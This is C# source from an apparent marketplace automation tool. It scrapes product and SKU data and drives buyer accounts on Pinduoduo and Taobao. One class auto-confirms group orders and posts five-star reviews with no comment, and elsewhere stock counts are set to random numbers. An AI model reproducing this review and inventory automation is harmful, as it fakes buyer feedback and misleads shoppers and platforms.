string values = m[i].Groups[2].Value;
p.name = m[i].Groups[1].Value;
p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", "");
bool had = false;
for (int j = 0; j < Product.Props.Count; j++)
{
if (Product.Props[j].name == p.name)
{
p = Product.Props[j];
had = true;
break;
}
}
var mm = BaseRegex.GetMatchRegex(ref values, @"\{([^\}]+?)\}");
//var mmm = BaseRegex.GetMatchRegex(ref values, @"""imageUrl"":""([^""]+?)""");
if (mm.Count == 0)
{
LogSave.Add("获取Prop数值异常,请检查程序 " + url);
return;
}
for (int j = 0; j < mm.Count; j++)
{
PropValueBase pr = new PropValueBase();
string h = mm[j].Groups[1].Value;
h = BaseRegex.Relpace(h, "(&[a-zA-z0-9]+?;)", "").Replace(";", "").Replace(",", "");
pr.name = BaseRegex.GetStringJson(ref h, "name");
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
pr.image = BaseRegex.GetStringJson(ref h, "imageUrl");
pr.image_from_url = BaseRegex.GetStringJson(ref h, "imageUrl");
p.Values.Add(pr);
}
if (!had)
{
p.sort = i + 1;
Product.Props.Add(p);
}
}
m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":{""price"":""([^""]+?)""");
if (m.Count == 0)
{
m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":\{[^\}]*""canBookCount"":([\d]+),[^\}]+?""saleCount"":([\d]+)");
if (m.Count == 0)
{
m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":[\w\W]+?,""saleCount"":([\d]+)[^\}]+?,""canBookCount"":([\d]+),[^\}]+?\}");
}
if (m.Count == 0)
{
m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":[\w\W]+?,""saleCount"":([\d]+),""canBookCount"":([\d]+),[^\}]+?\}");
}
if (m.Count == 0)
{
LogSave.Add("获取skuMap异常,请检查程序 " + url);
return;
}
string price = BaseRegex.GetMatchRegexString(ref html, @"""priceRangeOriginal"":\[\[[\d]+, ([\d\.]+)?\]");
if (string.IsNullOrEmpty(price))
{
price = Product.price.ToString();
//LogSave.Add("获取统一批发价异常,请检查程序 " + url);
//return;
}
for (int i = 0; i < m.Count; i++)
{
string pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""discountPrice"":""([\d\.]+)""");
if (string.IsNullOrEmpty(pri))
pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""price"":""([\d\.]+)""");
if (!string.IsNullOrEmpty(pri))
price = pri;
string name = m[i].Groups[1].Value;
string number = m[i].Groups[2].Value=="0"?"1": m[i].Groups[2].Value;
string sale_count = m[i].Groups[3].Value;
name = BuildName(name);
name = BaseRegex.Relpace(name, "(&[a-zA-z0-9]+?;)", "").Replace(",", "");
if (string.IsNullOrEmpty(name))
{
LogSave.Add("获取SKUmap名称异常,请检查程序 " + url);
return;
}
SkuMapBase sm = new SkuMapBase();
sm.name = name;
sm.price = decimal.Parse(price);
sm.number = int.Parse(number);
sm.sale_count = int.Parse(sale_count);
Product.SkuMaps.Add(sm);
}
}
else
{
for (int i = 0; i < m.Count; i++)
{
string price = m[i].Groups[2].Value;
string name = m[i].Groups[1].Value;
name = BuildName(name);
name = BaseRegex.Relpace(name, "(&[a-zA-z0-9]+?;)", "").Replace(",", "");
if (string.IsNullOrEmpty(name))
{
LogSave.Add("获取SKUmap名称异常,请检查程序 " + url);
return;
}
SkuMapBase sm = new SkuMapBase();
sm.name = name;
sm.price = decimal.Parse(price);
sm.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
Product.SkuMaps.Add(sm);
}
}
}
/// <summary>
/// 生成名称
/// </summary>
/// <param name="name"></param>
/// <returns></returns>
private string BuildName(string name)
{
if (!name.Contains("&gt;") && !name.Contains(">"))
return Product.Props[0].name + ":" + name;
name = name.Replace("&gt;", ">");
string[] l = name.Split('>');
if (l.Length != Product.Props.Count)
{
return ""; //数量不匹配可能有错误
}
string temp = "";
for (int i = 0; i < l.Length; i++)
{
temp += ";" + Product.Props[i].name + ":" + l[i];
}
return temp.Substring(1);
}
}
}
+307
View File
@@ -0,0 +1,307 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using AllBase;
namespace Work.Api
{
public class AutoConfirmExpress
{
public static List<KeyValueBase> ExpressList = new List<KeyValueBase>();
public int BuyType;
public AutoConfirmExpress(int buyType)
{
BuyType = buyType;
if (ExpressList.Count > 0)
{
return;
}
var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"<a val=""([\d]+)"">([^<]+?)</a>");
for (int i = 0; i < m.Count; i++)
{
string key = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
KeyValueBase k = new KeyValueBase(key, value);
ExpressList.Add(k);
}
}
public static List<string> TaobaoOrder = new List<string>();
public void GetTaobao(Dictionary<string, string> beforeOrder)
{
//Dictionary<char,Dictionary< char,Dictionary < char,string>>> chars = new Dictionary<char, Dictionary<char, Dictionary<char, string>>>();
string url = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm";
string refere = url;
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, false);
html = GetHtml.Decode(html);
if (!string.IsNullOrEmpty(html))
html = html.Replace("\\\"", "\"").Replace("\\/", "/");
int page = BaseRegex.GetIntJson(ref html, "totalPage");
for (int k = 1; k <= page; k++)
{
if (k != 1)
{
string data =
"buyerNick=&dateBegin=0&dateEnd=0&lastStartRow=&logisticsService=&options=0&orderStatus=&pageNum=" + k
+ "&pageSize=15&queryBizType=&queryOrder=desc&rateStatus=&refund=&sellerNick=&prePageNo=2";
url =
"https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data);
Thread.Sleep(5 * 1000);
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{""extra"":([\w\W]+?)""quantity"":""([\d]+)""");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string oid = BaseRegex.GetLongJson(ref list, "id").ToString();
if (!beforeOrder.ContainsKey(oid))
{
continue;
}
string status = BaseRegex.GetStringJson(ref list, "tradeStatus");
if (status != "WAIT_BUYER_CONFIRM_GOODS" && status != "TRADE_BUYER_SIGNED" && status != "TRADE_CLOSED" && status != "TRADE_FINISHED")
{
continue;
}
string sell = BaseRegex.GetMatchRegexString(ref list, @"""seller"":\{([^\}]+?)\}");
long shopId = BaseRegex.GetLongJson(ref sell, "id");
url = "https://wuliu.taobao.com/user/order_detail_new.htm?trade_id=" + oid + "&seller_id=" + shopId;
html = GetPostTaobaoHtml.UploadTaobao(url, refere, false);
Thread.Sleep(3000);
string no = BaseRegex.GetMatchRegexString(ref html,
@"<label class=""label"">运单号码:</label>\s+<span class=""em"">([^<]+?)</span>");
string company = BaseRegex.GetMatchRegexString(ref html,
@"<label class=""label"">物流公司:</label>\s+<span class=""em"">([^<]+?)</span>");
if (string.IsNullOrEmpty(no) || string.IsNullOrEmpty(company))
{
continue;
}
no = no.Trim();
company = company.Trim();
var express = GetExpressId(company);
if (express == null)
{
LogSave.Add("没有找到快递公司");
continue;
}
company = express.Value;
int companyId = int.Parse(express.Key);
UpdateServer(beforeOrder[oid], company, no, companyId);
}
}
}
public KeyValueBase GetExpressId(string company)
{
for (int i = 0; i < ExpressList.Count; i++)
{
if (ExpressList[i].Value == company || ExpressList[i].Value.Replace("快递", "速递") == company || ExpressList[i].Value.Replace("快递", "速运") == company)
return ExpressList[i];
}
for (int i = 0; i < ExpressList.Count; i++)
{
if (ExpressList[i].Value.Length > 1 && company.Length > 1 && ExpressList[i].Value.Substring(0, 2) == company.Substring(0, 2))
return ExpressList[i];
}
return null;
}
public void Get()
{
int page = 1;
string url, html;
List<string> orders = new List<string>();
Dictionary<string, string> beforeOrder = new Dictionary<string, string>();
for (int p = 0; p < page; p++)
{
Thread.Sleep(1000);
string data = UserLogin.GetSignaturex();
url = BaseClass.BuildObjString("pay_group_order&act=get_confirm_order&buy_type=" + BuyType + "&page=" + p);
html = GetHtml.PostUtf8(url, data);
page = BaseRegex.GetIntValue(html, "page");
if (string.IsNullOrEmpty(html))
{
//MessageBox.Show("获取订单列表网络异常,请稍后重试", "提示");
LogSave.Add("拼单", "获取订单列表网络异常,请稍后重试");
return;
}
var mm = BaseRegex.GetMatchRegex(ref html, "<order ([^>]+?)>");
for (int i = 0; i < mm.Count; i++)
{
string list = mm[i].Groups[0].Value;
string orderId = BaseRegex.GetStringJson(ref list, "order_id_buy");
string orderIdb = BaseRegex.GetStringJson(ref list, "order_id");
if (string.IsNullOrEmpty(orderId))
{
continue;
}
orders.Add(orderId);
if (!beforeOrder.ContainsKey(orderId))
beforeOrder.Add(orderId, orderIdb);
}
}
url = BaseClass.NewUrl+"/orders.html?type=3&refer_page_name=personal";
string refere = BaseClass.NewUrl+"/";
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
var m = BaseRegex.GetMatchRegex(ref html, @"\{""group_id"":([\w\W]+?)""order_sn"":([\w\W]+?)\}");
if (m == null || m.Count == 0)
m = BaseRegex.GetMatchRegex(ref html, @"\{""order_sn""(.*?)""biz_type"":[\d]+");
string lastOrderId = "";
string status = "6";
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string oid = BaseRegex.GetStringJson(ref list, "order_sn");
lastOrderId = oid;
string pid = BaseRegex.GetLongJson(ref list, "goods_id").ToString();
string statusDesc = BaseRegex.GetStringJson(ref list, "order_status_desc");
long order_time = BaseRegex.GetLongJson(ref list, "order_time");
if (!orders.Contains(oid))
continue;
if (BuyType == 1)
{
if (order_time > BaseClass.GetTime(DateTime.Now) - 5 * 84600)
continue;
ConfirmOrder(oid, pid);
}
if (BuyType == 2)
{
url = BaseClass.NewUrl+"/order.html?order_sn=" + oid +
"&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032";
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
string shippingName = BaseRegex.GetStringJson(ref html, "shippingName");
string trackingNumber = BaseRegex.GetStringJson(ref html, "trackingNumber");
string temp = BaseRegex.GetMatchRegexString(ref html, @"""shipping"":\{(.*?)\}");
int expressId = BaseRegex.GetIntJson(ref temp, "id");
if (expressId > 0)
{
UpdateServer(beforeOrder[oid], shippingName, trackingNumber, expressId);
}
}
}
page = 0;
while (m != null && m.Count > 0 && page < 100)
{
page++;
url =
"http://apiv4.yangkeduo.com/ordersv2/unreceived?size=10&offset=" + lastOrderId + "&pdduid=" + BaseClass.PddUid;
refere =
BaseClass.NewUrl+"/orders.html?type=3&refer_page_name=personal&refer_page_id=personal_1513007415720_UV8kas6VCW&refer_page_sn=10001";
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
m = BaseRegex.GetMatchRegex(ref html, @"\{""group_id"":([\w\W]+?)""order_sn"":([\w\W]+?)\}");
if (m == null || m.Count == 0)
m = BaseRegex.GetMatchRegex(ref html, @"\{""order_sn""(.*?)""biz_type"":[\d]+");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string oid = BaseRegex.GetStringJson(ref list, "order_sn");
lastOrderId = oid;
string pid = BaseRegex.GetLongJson(ref list, "goods_id").ToString();
string statusDesc = BaseRegex.GetStringJson(ref list, "order_status_desc");
long order_time = BaseRegex.GetLongJson(ref list, "order_time");
if (oid == "180622-684676220032434")
{
}
if (!orders.Contains(oid))
continue;
if (BuyType == 1)
{
if (order_time > BaseClass.GetTime(DateTime.Now) - 5 * 84600)
continue;
ConfirmOrder(oid, pid);
}
if (BuyType == 2)
{
url = BaseClass.NewUrl+"/order.html?order_sn=" + oid +
"&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032";
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true);
string shippingName = BaseRegex.GetStringJson(ref html, "shippingName");
string trackingNumber = BaseRegex.GetStringJson(ref html, "trackingNumber");
string temp = BaseRegex.GetMatchRegexString(ref html, @"""shipping"":\{(.*?)\}");
int expressId = BaseRegex.GetIntJson(ref temp, "id");
if (expressId > 0)
{
UpdateServer(beforeOrder[oid], shippingName, trackingNumber, expressId);
}
Thread.Sleep(1000);
}
}
Thread.Sleep(1000);
}
GetTaobao(beforeOrder);
LogSave.Add("拼单", "自动确认收货全部完成");
}
public void ConfirmOrder(string oid, string goods_id)
{
string url = "http://apiv4.yangkeduo.com/order/" + oid + "/received?pdduid=" + BaseClass.PddUid + "&is_back=1";
string data = "{}";
string refere = BaseClass.NewUrl+"/orders.html?refer_page_name=login&refer_page_id=login_1513005785399_B4Dxk8TYgA&type=3&order_index=0";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data);
refere = BaseClass.NewUrl+"/comments.html?order_sn=" + oid + "&goods_id=" + goods_id +
"&page_el_sn=99664&type=3&refer_page_name=my_order&refer_page_id=my_order_1513006052449_n43miXeWuI&refer_page_sn=10032&refer_page_el_sn=99664";
url = "http://apiv4.yangkeduo.com/v2/order/goods/review?pdduid=" + BaseClass.PddUid;
data = "{\"goods_id\":" + goods_id + ",\"order_sn\":\"" + oid + "\",\"desc_score\":5,\"logistics_score\":5,\"service_score\":5,\"comment\":\"\",\"pictures\":[]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data);
if (html.Contains("rating_id"))
{
LogSave.Add("拼单", "确认收货成功:" + oid);
}
Thread.Sleep(300);
}
public void UpdateServer(string order_id, string shippingName, string trackingNumber, int expressId)
{
StringBuilder s = new StringBuilder();
s.Append("&status=" + 8);
s.Append("&oid=" + order_id);
s.Append("&express_name=" + shippingName);
s.Append("&express_id=" + expressId);
s.Append("&express_no=" + trackingNumber);
s.Append("&get_time=1");
string data = UserLogin.GetSignaturex();
string url = BaseClass.BuildObjString("pay_group_order&act=update&buy_type=" + BuyType);
string html = GetHtml.PostUtf8(url, data + s);
if (html != "ok")
{
Thread.Sleep(10 * 1000);
data = UserLogin.GetSignaturex();
html = GetHtml.PostUtf8(url, data + s);
}
if (html != "ok")
{
Thread.Sleep(30 * 1000);
data = UserLogin.GetSignaturex();
html = GetHtml.PostUtf8(url, data + s);
}
if (html != "ok")
LogSave.Add("拼单", "自动提交物流信息失败,请检查网络");
else
{
LogSave.Add("拼单", "返回物流信息完成:" + order_id);
}
}
public void ResetErrorSend()
{
string data = UserLogin.GetSignaturex();
string url = BaseClass.BuildObjString("pay_group_order&act=reset_status");
string html = GetHtml.PostUtf8(url, data);
if (html != "ok")
{
}
}
public string ExpressNames = "<a val=\"1\">申通快递</a><a val=\"3\">百世快递</a><a val=\"44\">顺丰快递</a><a val=\"85\">圆通快递</a><a val=\"89\">赛澳递</a><a val=\"90\">晟邦物流</a><a val=\"115\">中通快递</a><a val=\"116\">全峰快递</a><a val=\"117\">优速快递</a><a val=\"118\">邮政EMS</a><a val=\"119\">天天快递</a><a val=\"120\">京东配送</a><a val=\"121\">韵达快递</a><a val=\"122\">快捷快递</a><a val=\"124\">国通快递</a><a val=\"129\">宅急送快递</a><a val=\"130\">如风达</a><a val=\"131\">德邦快递</a><a val=\"132\">邮政快递包裹</a><a val=\"133\">龙邦快递</a><a val=\"135\">联邦快递</a><a val=\"136\">九曳供应链</a><a val=\"140\">南京晟邦</a><a val=\"142\">万象物流</a><a val=\"143\">立即送</a><a val=\"144\">门对门</a><a val=\"148\">安达信</a><a val=\"149\">海外快递</a><a val=\"150\">飞远物流</a><a val=\"152\">汇文快递</a><a val=\"154\">黄马甲</a><a val=\"155\">速尔快递</a><a val=\"156\">亚马逊物流</a><a val=\"157\">黑猫宅急便</a><a val=\"161\">上海赛澳递</a><a val=\"162\">城市100</a><a val=\"163\">芝麻开门</a><a val=\"164\">顺捷丰达</a><a val=\"165\">汇通小红马</a><a val=\"180\">其他</a><a val=\"183\">跨越速递</a><a val=\"186\">usps</a><a val=\"187\">青岛安捷</a><a val=\"195\">贝海国际速递</a><a val=\"197\">环球速运</a><a val=\"201\">全一快递</a><a val=\"205\">远成快运</a><a val=\"209\">联众国际快运</a><a val=\"210\">天地华宇</a><a val=\"211\">中邮速递</a><a val=\"213\">EMS-国际件</a><a val=\"214\">中铁物流</a><a val=\"216\">新邦物流</a><a val=\"217\">Flash Express</a><a val=\"218\">新顺丰NSF</a><a val=\"221\">DCS GLOBAL</a><a val=\"227\">日日顺物流</a><a val=\"228\">苏宁快递</a><a val=\"229\">百世快运</a><a val=\"230\">德邦物流</a><a val=\"231\">微特派</a><a val=\"232\">AAE全球专递</a><a val=\"233\">Aramex</a><a val=\"234\">Asendia USA</a><a val=\"235\">City-Link</a><a val=\"236\">COE</a><a val=\"237\">DHL德国</a><a val=\"238\">DHL全球</a><a val=\"239\">DHL中国</a><a val=\"240\">EMS国际</a><a val=\"241\">FedEx美国</a><a val=\"242\">FedEx中国</a><a val=\"243\">OCS</a><a val=\"244\">OnTrac</a><a val=\"245\">TNT</a><a val=\"246\">UPS</a><a val=\"247\">阿尔巴尼亚邮政</a><a val=\"248\">阿根廷邮政</a><a val=\"249\">阿联酋邮政</a><a val=\"250\">爱沙尼亚邮政</a><a val=\"252\">奥地利邮政</a><a val=\"253\">澳大利亚邮政</a><a val=\"254\">巴基斯坦邮政</a><a val=\"255\">巴西邮政</a><a val=\"256\">白俄罗斯邮政</a><a val=\"257\">百福东方</a><a val=\"258\">包裹信件</a><a val=\"259\">保加利亚邮政</a><a val=\"260\">比利时邮政</a><a val=\"261\">波兰邮政</a><a val=\"262\">传喜物流</a><a val=\"263\">大田物流</a><a val=\"264\">递四方</a><a val=\"265\">俄速通</a><a val=\"266\">法国邮政</a><a val=\"267\">凡宇快递</a><a val=\"268\">飞豹快递</a><a val=\"269\">飞远(爱彼西)配送</a><a val=\"270\">芬兰邮政</a><a val=\"271\">哥伦比亚邮政</a><a val=\"272\">韩国邮政</a><a val=\"273\">恒路物流</a><a val=\"274\">华企快运</a><a val=\"275\">加运美</a><a val=\"276\">佳吉快运</a><a val=\"277\">佳怡物流</a><a val=\"278\">嘉里大通</a><a val=\"279\">捷克邮政</a><a val=\"280\">筋斗云物流</a><a val=\"281\">京广速递</a><a val=\"282\">克罗地亚邮政</a><a val=\"283\">拉脱维亚邮政</a><a val=\"284\">黎巴嫩邮政</a><a val=\"285\">联昊通</a><a val=\"286\">马耳他邮政</a><a val=\"287\">马其顿邮政</a><a val=\"288\">毛里求斯邮政</a><a val=\"289\">秘鲁邮政</a><a val=\"290\">民邦快递</a><a val=\"291\">民航快递</a><a val=\"292\">明亮物流</a><a val=\"293\">摩尔多瓦邮政</a><a val=\"294\">南非邮政</a><a val=\"295\">挪威邮政</a><a val=\"296\">葡萄牙邮政</a><a val=\"297\">全日通</a><a val=\"298\">日本邮政</a><a val=\"299\">瑞典邮政</a><a val=\"300\">瑞士邮政</a><a val=\"301\">塞尔维亚邮政</a><a val=\"302\">三态速递</a><a val=\"303\">沙特邮政</a><a val=\"304\">圣安物流</a><a val=\"305\">盛丰物流</a><a val=\"306\">盛辉物流</a><a val=\"307\">斯洛伐克邮政</a><a val=\"308\">斯洛文尼亚邮政</a><a val=\"309\">穗佳物流</a><a val=\"310\">泰国邮政</a><a val=\"311\">土耳其邮政</a><a val=\"312\">万家物流</a><a val=\"313\">乌克兰邮政</a><a val=\"314\">西班牙邮政</a><a val=\"315\">信丰物流</a><a val=\"316\">匈牙利邮政</a><a val=\"317\">亚风速递</a><a val=\"318\">亚美尼亚邮政</a><a val=\"319\">燕文物流</a><a val=\"320\">意大利邮政</a><a val=\"321\">银捷速递</a><a val=\"322\">印度邮政</a><a val=\"323\">英国皇家邮政</a><a val=\"324\">邮政标准快递</a><a val=\"325\">邮政国际包裹</a><a val=\"326\">越丰物流</a><a val=\"327\">运通中港快递</a><a val=\"328\">增益速递</a><a val=\" Line truncated
}
}
+131
View File
@@ -0,0 +1,131 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
using Work.CollectClass;
namespace Work.Api
{
public class BigDataCenter
{
public string Name;
public static Dictionary<string,List<string>> Keywords = new Dictionary<string, List<string>>();
public static List<string> KeywordTemp = new List<string>();
public static int PriceBegin = 0, PriceEnd = 0, SoldBegin = 0, SoldEnd = 0,Count=0;
public static bool Taobao = false, Alibaba = false, Pinduoduo = false;
public static List<TaobaoProductBase> ProductTemp = new List<TaobaoProductBase>();
public static List<string> KeywordString = new List<string>();
public BigDataCenter(string name)
{
Name = name;
}
public void Get()
{
string url = "http://pcat.qixiaoke.com/taobao/pinduoduo_search.php";
for (int i = 0; i < KeywordString.Count; i++)
{
string key = KeywordString[i];
int count = Keywords.ContainsKey(key) ? Keywords[key].Count : Count;
List<string> titles = Keywords.ContainsKey(key) ? Keywords[key] : new List<string>();
string data = UserLogin.GetSignaturex();
data += "&keyword=" + GetHtml.UrlEncodeUtf8(key) + "&count=" + count;
data += "&pi=" + PriceBegin + "&pa=" + PriceEnd + "&si=" + SoldBegin + "&sa=" + SoldEnd;
if (Taobao)
{
string html = GetHtml.PostUtf8(url, data + "&sid=1");
Data(html, titles);
}
if (Alibaba)
{
string html = GetHtml.PostUtf8(url, data + "&sid=3");
Data(html, titles);
}
if (Pinduoduo)
{
string html = GetHtml.PostUtf8(url, data + "&sid=2");
Data(html, titles);
}
}
}
public void Data(string html, List<string> list)
{
html = GetHtml.Decode(html).Replace("\\/","/");
var m = BaseRegex.GetMatchRegex(ref html, @"""attrs"":\{([^\}]+?)\}");
for (int j = 0; m != null && j < m.Count ; j++)
{
if(list.Count>0 && j>= list.Count)
break;
string li = m[j].Groups[1].Value;
TaobaoProductBase t = new TaobaoProductBase();
t.FromId = BaseRegex.GetLongJson(ref li, "product_id");
int tp = BaseRegex.GetIntJson(ref li, "site_id");
t.FromType = "淘宝";
if (tp == 2)
t.FromType = "内部数据";
if (tp == 3)
t.FromType = "阿里巴巴";
t.Titlte = BaseRegex.GetStringJson(ref li, "name");
t.Cat1 = BaseRegex.GetIntJson(ref li, "cat1");
t.Cat2 = BaseRegex.GetIntJson(ref li, "cat2");
t.Cat3 = BaseRegex.GetIntJson(ref li, "cat3");
t.CatId = BaseRegex.GetIntJson(ref li, "cat_id");
if (t.Cat3 != t.CatId)
t.Cat4 = t.CatId;
FromTitleToCat f = new FromTitleToCat();
t.MainCatId = f.GetMainCatId(t.Cat1);
t.MainCatName = f.MainCatName;
if (list.Count > j)
{
t.Build = true;
t.Titlte = list[j];
}
t.Price = BaseRegex.GetDecimalJson(ref li, "price_min");
t.SaleCount = BaseRegex.GetIntJson(ref li, "sold_count");
BigDataBuild.Product.Add(t);
ProductTemp.Add(t);
}
}
public string Input(string dir)
{
string message = "无导入数据";
string[] l = Directory.GetFiles(dir);
for (int i = 0; i < l.Length; i++)
{
string name = Path.GetFileNameWithoutExtension(l[i]);
if(string.IsNullOrEmpty(name))
continue;
List<string> keywords = new List<string>();
string[] ll = FileBase.ReadAllLines(l[i]);
for (int j = 0; j < ll.Length; j++)
{
if (string.IsNullOrEmpty(ll[j]) || ll[j].Length>32 || ll[j].Length<20)
continue;
string key = ll[j].Trim().Replace("\t", " ");
if (keywords.Contains(key))
continue;
keywords.Add(key);
}
if (Keywords.ContainsKey(name))
{
Keywords[name] = keywords;
continue;
}
Keywords.Add(name, keywords);
KeywordTemp.Add(name);
message = "导入成功";
}
return message;
}
}
}
+708
View File
@@ -0,0 +1,708 @@
using AllBase;
using System;
using System.Threading;
using Work.CollectClass;
using Work.ManageClass;
namespace Work.Api
{
public class BuildNewTitle
{
public ShopChatBase Shop;
public long Pid;
public string Title,Name;
public string[] NoWords = "✅,💯,★".Split(',');
public bool SetNewTitle = false;
public static bool BeforRand = false,KeepAll = false;
public static long endAdvanceTime=0;
public BuildNewTitle(ShopChatBase shop, long pid, string title, string name)
{
Shop = shop;
Pid = pid;
Title = title;
Name = name;
}
public BuildNewTitle(ShopChatBase shop, long pid, string title, string name,bool setNewTitle)
{
Shop = shop;
Pid = pid;
Title = title;
Name = name;
SetNewTitle = setNewTitle;
}
public void Set()
{
GetProductDetail ge = new GetProductDetail(Shop, Name);
var r = ge.Get(Pid);
if (r == null)
{
LogSave.Add(Name,"获取失败,店铺:"+Shop.ShopName +" ID:"+Pid);
return;
}
string imageString = "", apiContentString = "";
for (int i = 0; i < r.carousel_gallery_list.Count; i++)
{
imageString += ",\"" + r.carousel_gallery_list[i] + "\"";
}
for (int i = 0; i < r.detail_gallery_list.Count; i++)
{
apiContentString += ",\"" + r.detail_gallery_list[i] + "\"";
}
string skuApiStringNew = "";
int price = int.MaxValue;
for (int i = 0; i < r.sku_list.Count; i++)
{
if (price > r.sku_list[i].multi_price)
price = r.sku_list[i].multi_price;
string spec = "";
for (int j = 0; j < r.sku_list[i].spec.Count; j++)
spec += "," + r.sku_list[i].spec[j].spec_id;
if (!string.IsNullOrEmpty(spec))
spec = spec.Substring(1);
skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity +
",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price
+ "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn +
"\",\"quantity\":" + r.sku_list[i].quantity + ",\"spec_id_list\":\"[" + spec + "]\"}";
}
if (SetNewTitle && !KeepAll)
{
string upTitle = BaseRegex.GetMatchRegexString(ref r.goods_desc, @"【【【([\w\W]{10,60})】】");
if (string.IsNullOrEmpty(upTitle))
{
upTitle = r.goods_name;
r.goods_desc += "【【【"+r.goods_name+"】】";
}
BigDataBuild bd = new BigDataBuild(Name);
if (BeforRand)
{
Title = bd.GetRandTitle(upTitle);
}
else
{
string mainKey = bd.GetMainKeywords(upTitle);
if (string.IsNullOrEmpty(mainKey))
{
LogSave.Add(Name, "没有找到主关键词");
return;
}
Title = bd.GetAllTitle(mainKey);
if (string.IsNullOrEmpty(Title)&& mainKey.Split(' ').Length>2)
{
string[] l = mainKey.Split(' ');
string keyword = "";
for (int i = 0; i < 3; i++)
{
keyword += l[i];
}
Title = bd.GetAllTitle(keyword);
}
if (string.IsNullOrEmpty(Title))
{
Title = bd.GetRandTitle(upTitle);
}
}
Title = BaseClass.SubCharLength(Title, 60);
}
if (KeepAll)
Title = r.goods_name;
r.goods_name = BaseClass.SubCharLength(r.goods_name, 60);
foreach (string noWord in NoWords)
{
if (r.goods_name.Contains(noWord))
r.goods_name = r.goods_name.Replace(noWord, "");
if (r.goods_desc.Contains(noWord))
r.goods_desc = r.goods_desc.Replace(noWord, "");
}
r.goods_desc = BaseRegex.Clear(r.goods_desc, "");
string title;
if (!string.IsNullOrEmpty(Title))
title = Title;
else
title = r.goods_name;
r.cat_id = PinduoduoCatList.GetNewCat3(r.cat_id);
var api = new PinduoduoApiGetProduct(Shop);
if (r.tiny_name.Length > 10)
r.tiny_name = r.tiny_name.Substring(0, 10);
api.Data.Add("goods_id", Pid.ToString());
api.Data.Add("goods_name", title);
api.Data.Add("goods_type", r.goods_type.ToString());
api.Data.Add("goods_desc", r.goods_desc);
api.Data.Add("cat_id", r.cat_id.ToString());
api.Data.Add("tiny_name", r.tiny_name);
api.Data.Add("country_id", r.country_id.ToString());
api.Data.Add("market_price", r.market_price.ToString());
api.Data.Add("is_pre_sale", "false");
api.Data.Add("shipment_limit_second", r.shipment_limit_second.ToString());
api.Data.Add("cost_template_id", Shop.ExpressId.ToString());
api.Data.Add("customer_num", r.customer_num.ToString());//团购人数
if (!UploadPinduoduoMain.limitCount)
{
api.Data.Add("buy_limit", r.buy_limit.ToString());
api.Data.Add("order_limit", r.order_limit.ToString());
}
api.Data.Add("is_refundable", r.is_refundable==1? "true": "false");
api.Data.Add("second_hand", r.second_hand == 1 ? "true" : "false");
api.Data.Add("is_folt", r.is_folt == 1 ? "true" : "false");
if (BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id")>0)
{
api.Data.Add("fabric", BaseRegex.GetIntJson(ref ge.Html, "fabric_id").ToString());
api.Data.Add("fabric_content", BaseRegex.GetIntJson(ref ge.Html, "fabric_content_id").ToString());
}
api.Data.Add("sku_list","[" + skuApiStringNew.Substring(1) + "]");
api.Data.Add("out_goods_id", r.outer_goods_id);
api.Data.Add("hd_thumb_url", r.hd_thumb_url);
api.Data.Add("thumb_url", r.thumb_url);
api.Data.Add("image_url", r.image_url);
api.Data.Add("carousel_gallery", "[" + imageString.Substring(1) + "]");
api.Data.Add("detail_gallery", "[" + apiContentString.Substring(1) + "]");
if(r.shelf_life>0)
{
api.Data.Add("shelf_life", r.shelf_life.ToString());
api.Data.Add("start_production_date", r.start_production_date.ToString());
api.Data.Add("end_production_date", r.end_production_date.ToString());
}
if (BaseRegex.GetIntJson(ref ge.Html, "paper_width") > 0)
{
api.Data.Add("paper_net_weight", BaseRegex.GetIntJson(ref ge.Html, "paper_net_weight").ToString());
api.Data.Add("paper_length", BaseRegex.GetIntJson(ref ge.Html, "paper_length").ToString());
api.Data.Add("paper_width", BaseRegex.GetIntJson(ref ge.Html, "paper_width").ToString());
api.Data.Add("paper_plies_num", BaseRegex.GetIntJson(ref ge.Html, "paper_plies_num").ToString());
}
if (r.goods_property_list.Count > 0)
{
string code = "";
for (int i = 0; i < r.goods_property_list.Count; i++)
{
//var p =
// UploadPinduoduoProperties.Properties.Find(
// pp => pp.template_pid == r.goods_property_list[i].template_pid);
//if(p==null)
// continue;
code +=
",{\"template_pid\":" + r.goods_property_list[i].template_pid + ",\"template_module_id\":" + r.goods_property_list[i].vid
